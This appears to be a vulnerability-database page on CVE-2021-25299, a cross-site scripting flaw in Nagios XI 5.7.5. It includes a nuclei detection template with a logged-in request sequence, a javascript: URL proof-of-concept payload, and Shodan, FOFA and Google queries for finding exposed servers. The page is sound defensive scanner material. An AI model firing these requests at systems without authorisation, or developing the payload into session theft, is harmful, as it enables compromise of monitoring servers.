HexBrain

Browse / CVEs / CVE-2021-25299

CVE-2021-25299· nagios / nagios xi· CWE-79

Nagios XI 5.7.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
97.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.

Impact

Attackers can craft malicious URLs containing JavaScript that executes when clicked by admin users, potentially stealing session cookies that can be chained with other vulnerabilities for one-click remote command execution and complete Nagios XI server compromise.

Fix

Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET /nagiosxi/login.php ; POST /nagiosxi/login.php ; GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain)
Positive when: contains(header_3, 'text/html') and status_code_3 == 200 and contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")

Run it with nuclei: nuclei -id CVE-2021-25299 -u <target>

The full check
id: CVE-2021-25299

info:
  name: Nagios XI 5.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
  impact: |
    Attackers can craft malicious URLs containing JavaScript that executes when clicked by admin users, potentially stealing session cookies that can be chained with other vulnerabilities for one-click remote command execution and complete Nagios XI server compromise.
  remediation: |
    Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
    - http://nagios.com
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25299
    - https://assets.nagios.com/downloads/nagiosxi/versions.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25299
    cwe-id: CWE-79
    epss-score: 0.9776
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query:
      - title:"Nagios XI"
      - http.title:"nagios xi"
    fofa-query:
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2021,cve,nagios,nagiosxi,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
      - |
        GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(header_3, 'text/html')"
          - "status_code_3 == 200"
          - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
        condition: and

    extractors:
      - type: regex
        name: nsp
        group: 1
        regex:
          - 'name="nsp" value="(.*)">'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from